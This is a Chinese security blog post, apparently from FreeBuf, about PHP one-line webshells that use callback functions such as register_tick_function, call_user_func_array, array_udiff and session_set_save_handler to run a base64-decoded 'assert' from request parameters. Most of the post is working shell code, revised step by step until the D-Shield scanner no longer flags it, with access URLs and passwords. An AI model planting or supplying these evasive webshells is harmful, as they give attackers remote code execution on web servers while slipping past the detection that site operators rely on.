php7 一句话木马,PHP一句话木马研究

*本文原创作者:Gxian,本文属于FreeBuf原创奖励计划,未经许可禁止转载

最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。

现总结如下:

方案一:回调函数回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:array_filter()

array_walk()

array_walk_recursive()

array_map()

registregister_shutdown_function();

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce() 可疑(级别2)

array_walk()

array_walk_recursive()

1.register_tick_function()

构造一句话:<?php

declare(ticks=1);

register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);

?>

访问URL:IP/XXX.php?e=YXNzZXJ0

密码:a

2.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:<?php

function newsSearch($para0){

$evil=$para0;

$exec=$_GET['id'];

call_user_func_array($exec,array($evil));

}

newsSearch($_POST['tid']);

?>

使用D盾查杀。

call_user_func_D%E7%9B%BE.png0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:<?php

function newsSearch($para0,$para1){

$evil=$para0;

call_user_func_array($para1,array($evil));

}

$exec=base64_decode($_GET['id']);

newsSearch($_POST['tid'],$exec);

?>

2.pngOK!完美绕过!

访问URL:IP/XXX.php?id=YXNzZXJ0

密码:key

同样的方法可以使用call_user_func函数,构造shell如下:<?php

function newsSearch($para0,$para1){

$evil=$para0;

call_user_func($para1,$evil);

}

$exec=base64_decode($_GET['id']);

newsSearch($_POST['tid'],$exec);

?>

3.变种array_udiff()

用相同的方法构造使用array_udiff()的shell:<?php

function newsSearch($para0,$para1){

$evil=$para0;

$exec=$para1;

array_udiff($arr=array($evil),$arr1 = array(''),$exec);

}

$exec=base64_decode($_REQUEST['exec']);

newsSearch($_POST['key'],$exec);

?>

访问URL:IP/XXX.php?exec=YXNzZXJ0

密码:key

剩下的回调函数也可以用相同的方法绕过D盾。

4.session_set_save_handlersession_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。

编写shell如下:<?php

error_reporting(0);

$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert

function open($save_path, $session_name) // open第一个被调用,类似类的构造函数

{}

function close() // close最后一个被调用,类似 类的析构函数

{

}

session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])

function write($id, $sess_data)

{}

function destroy($id)

{}

function gc()

{}

// 第三个参数为read read(string $sessionId)

session_set_save_handler("open", "close", $session, "write", "destroy", "gc");

@session_start(); // 打开会话

?>

使用D盾查杀。

3.png$session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:$session=$_REQUEST['id'];

4.png看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错!

尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:<?php

error_reporting(0);

//$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert

function test($para){

session_set_save_handler("open", "close", $para, "write", "destroy", "gc");

@session_start(); // 打开会话

}

$session=base64_decode($_REQUEST['id']);

// open第一个被调用,类似类的构造函数

function open($save_path, $session_name)

{}

// close最后一个被调用,类似 类的析构函数

function close()

{

}

// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])

session_id($_REQUEST['op']);

function write($id, $sess_data)

{}

function destroy($id)

{}

function gc()

{}

// 第三个参数为read read(string $sessionId)

test($session);

?>

5.png完美绕过!

访问URL:IP/XXX.php?id=YXNzZXJ0

密码:op

*本文原创作者:Gxian,本文属于FreeBuf原创奖励计划,未经许可禁止转载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值